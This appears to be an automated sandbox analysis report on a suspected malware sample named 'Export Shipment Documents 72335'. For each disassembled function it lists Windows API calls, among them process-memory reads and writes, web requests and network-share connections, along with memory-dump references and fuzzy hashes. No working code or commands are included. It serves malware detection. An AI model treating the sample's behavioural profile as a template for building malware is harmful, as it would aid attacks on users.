                                                                                                                                                                                                          Function 004667A7 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 170shareCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                                            • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                                          • __wcsnicmp.LIBCMT ref: 0046681A
                                                                                                                                                                                                          • WNetUseConnectionW.MPR(00000000,?,00000000,?,00000000,?,00000000,?), ref: 004668B9
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Connection__wcsnicmp_wcscpy_wcslen
                                                                                                                                                                                                          • String ID: LPT$HH
                                                                                                                                                                                                          • API String ID: 3035604524-2728063697
                                                                                                                                                                                                          • Opcode ID: 2945cb5b31277d8c8021d55f3d7ec86f9f5d8a101f6134c00f702d091f19bef7
                                                                                                                                                                                                          • Instruction ID: 32c7950bcbaa764ae6d62266904c1b9f72d26d84b6ae022b5f72856ccecd4d84
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2945cb5b31277d8c8021d55f3d7ec86f9f5d8a101f6134c00f702d091f19bef7
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2151D5B16043009FC720EF65C881B1BB7E5AF85704F11491EFA859B382E779ED49C79A
                                                                                                                                                                                                          Function 00438A5D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 004374AF: WriteProcessMemory.KERNEL32(?,?,00000000,00000000,00000000,?,00461142,?), ref: 004374E2
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00438AB8
                                                                                                                                                                                                            • Part of subcall function 00437472: ReadProcessMemory.KERNEL32(?,00000000,00000000,?,00000000,00000000,00460C33,?,00000000,?,00000202), ref: 004374A5
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00438B2F
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00001111,00000000,00000000), ref: 00438BAF
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$MemoryProcess$ReadWrite
                                                                                                                                                                                                          • String ID: @
                                                                                                                                                                                                          • API String ID: 4055202900-2766056989
                                                                                                                                                                                                          • Opcode ID: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                                                                                                                                                          • Instruction ID: 682097a2b5231093ce935cfc9f6f49684b756042c0be5430c67da702d62f7190
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E6518FB2208304ABD310DB64CC81FEFB7A9EFC9714F04591EFA8597181D678F9498B66
                                                                                                                                                                                                          Function 00465D41 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119networkCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CrackInternet_memset_wcslen
                                                                                                                                                                                                          • String ID: |
                                                                                                                                                                                                          • API String ID: 915713708-2343686810
                                                                                                                                                                                                          • Opcode ID: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                                                                                                                                                          • Instruction ID: 59fb16093b155e5aebf0565036b17e76eaaa1a90c891d08183ce313382d628e9
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                                                                                                                                                          • Instruction Fuzzy Hash: AE417EB2754301ABD204EF69DC81B9BF7E8FB88714F00052EF64593290DB75E909CBA6
                                                                                                                                                                                                          Function 0044A7DC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116networkCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0044A7FE
                                                                                                                                                                                                          • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044A851
                                                                                                                                                                                                          • HttpQueryInfoW.WININET ref: 0044A892
                                                                                                                                                                                                            • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Http$ErrorInfoInternetLastOpenQueryRequestSend
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3705125965-3916222277
                                                                                                                                                                                                          • Opcode ID: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                                                                                                                                          • Instruction ID: e2ea4e726a01332d61d4ddbc0b4be6fd5f15ca60b5c099a75bcf819f780d651a
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: F431C6B56813416BE320EB16DC42F9FB7E8EFD9714F00091FF65057281D7A8A50D876A
                                                                                                                                                                                                          Function 004509D1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00450A84
                                                                                                                                                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 00450AA2
                                                                                                                                                                                                          • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00450AB3
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$Long
                                                                                                                                                                                                          • String ID: SysTreeView32
                                                                                                                                                                                                          • API String ID: 847901565-1698111956
                                                                                                                                                                                                          • Opcode ID: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                                                                                                                                                          • Instruction ID: 1ec52148e0427fd314aa46f8515fbaae5756f8dde681787cc4d1a4a364837cef
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9831E670244301AFE710DB64CC84B6BB3E8EF98325F104A1EF9A5932D1D7B8AD85CB25
                                                                                                                                                                                                          Function 00450C09 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • DestroyWindow.USER32(00000000,004A83D8,00000000,?,?), ref: 00450C60
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: DestroyWindow
                                                                                                                                                                                                          • String ID: msctls_updown32
                                                                                                                                                                                                          • API String ID: 3375834691-2298589950
                                                                                                                                                                                                          • Opcode ID: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                                                                                                                                                          • Instruction ID: 6a1e1189e42626fde14bc74b9d87f1f450c181bb0fe7a510af516aef360d3f61
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: CE31A279300201AFD624DF54DC81F5B73A9EB9A714F20451EF640AB382C7B4AC4ACB6A
                                                                                                                                                                                                          Function 00451191 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0045122A
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00000186,00000000,00000000), ref: 00451238
                                                                                                                                                                                                          • MoveWindow.USER32(?,?,00000000,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 0045125D
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$MoveWindow
                                                                                                                                                                                                          • String ID: Listbox
                                                                                                                                                                                                          • API String ID: 3315199576-2633736733
                                                                                                                                                                                                          • Opcode ID: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                                                                                                                                          • Instruction ID: bfe1e9b3800f224edd0053b2d0d87a77da448e7bf5b17050dc61905274d7532a
                                                                                                                                                                                                          • Opcode Fuzzy Hash: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E421D3712043047BE6209A65DC81F6BB3E8EBCD735F104B1EFA60A72D1C675EC458729
                                                                                                                                                                                                          Function 0045D235 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D243
                                                                                                                                                                                                          • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D2C7
                                                                                                                                                                                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D30C
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ErrorMode$InformationVolume
                                                                                                                                                                                                          • String ID: HH
                                                                                                                                                                                                          • API String ID: 2507767853-2761332787
                                                                                                                                                                                                          • Opcode ID: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                                                                                                                                                          • Instruction ID: 4a708fd112bc3492f79fb502a293ca5b83a6a9b53d4ab80d782c21126568c1ab
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 622148756083019FC310EF55D944A6BB7E4FF88704F40882EFA45972A2D774E909CB5A
                                                                                                                                                                                                          Function 0045D42B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D44A
                                                                                                                                                                                                          • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D4CE
                                                                                                                                                                                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D502
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ErrorMode$InformationVolume
                                                                                                                                                                                                          • String ID: HH
                                                                                                                                                                                                          • API String ID: 2507767853-2761332787
                                                                                                                                                                                                          • Opcode ID: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                                                                                                                                                          • Instruction ID: 8e4373afe1f51974a95c06a3ae407364d3098df30383bdf5f9e51316f0e0b5c8
                                                                                                                                                                                                          • Opcode Fuzzy Hash: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 902137756083019FC314EF55D944A5AB7E8FF88710F40882EFA49972A2D778E909CB9A
                                                                                                                                                                                                          Function 00450D00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00450D74
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00000406,00000000,00640000), ref: 00450D8A
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00450D98
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend
                                                                                                                                                                                                          • String ID: msctls_trackbar32
                                                                                                                                                                                                          • API String ID: 3850602802-1010561917
                                                                                                                                                                                                          • Opcode ID: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                                                                                                                                                          • Instruction ID: c83169f0c5ec68c29a3e9aa847b4a28030a04f73c00385235601d1c9d4ce90e2
                                                                                                                                                                                                          • Opcode Fuzzy Hash: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4F1193717403117BE610CAA8DC81F5B73E8AB98B25F204A1AFA50A72C1D2B4FC458B68
                                                                                                                                                                                                          Function 0046BD4D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69networkCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                                                                                                                                          • gethostbyname.WSOCK32(?,00000000,?,?), ref: 0046BD78
                                                                                                                                                                                                          • WSAGetLastError.WSOCK32(00000000,?,?,00000000,?,?), ref: 0046BD83
                                                                                                                                                                                                          • inet_ntoa.WSOCK32(00000000,?), ref: 0046BDCD
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ByteCharErrorLastMultiWidegethostbynameinet_ntoa
                                                                                                                                                                                                          • String ID: HH
                                                                                                                                                                                                          • API String ID: 1515696956-2761332787
                                                                                                                                                                                                          • Opcode ID: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                                                                                                                                                          • Instruction ID: 2fad99cf3c45da3a785a9a513efbde0c8943f1fdc9598a344110207fd9df59bd
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E21142765043006BC744FB66D885D9FB3A8AFC4318F448C2EF945A7242DA39E949876A
                                                                                                                                                                                                          Function 004497A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                          • GetMenuItemInfoW.USER32 ref: 004497EA
                                                                                                                                                                                                          • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00449817
                                                                                                                                                                                                          • DrawMenuBar.USER32 ref: 00449828
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Menu$InfoItem$Draw_malloc
                                                                                                                                                                                                          • String ID: 0
                                                                                                                                                                                                          • API String ID: 772068139-4108050209
                                                                                                                                                                                                          • Opcode ID: aba2b2f37e8aede0e07af882035f7c7ba327ed0a8d43e4983355c33413849c0f
                                                                                                                                                                                                          • Instruction ID: 895394c4ac3d8cdb9511dba433443d5742fa96e32f07ab63668b9f5a94eb31d1
                                                                                                                                                                                                          • Opcode Fuzzy Hash: aba2b2f37e8aede0e07af882035f7c7ba327ed0a8d43e4983355c33413849c0f
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 941182B16042009BF730EB55EC96FABB7A8FB91714F00452EE648CA281DB7A9445CB76
                                                                                                                                                                                                          Function 004342A8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33memoryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AllocTask_wcslen
                                                                                                                                                                                                          • String ID: hkG
                                                                                                                                                                                                          • API String ID: 2651040394-3610518997
                                                                                                                                                                                                          • Opcode ID: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                                                                                                                                                          • Instruction ID: 372044899b15e8c53ead78f1c779643819f92c4817f04f111663958edd7e2adf
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: DCE065736442225B97506A79AC045CBA7D8AFB0370B15482BF880E7310E278E89643E5
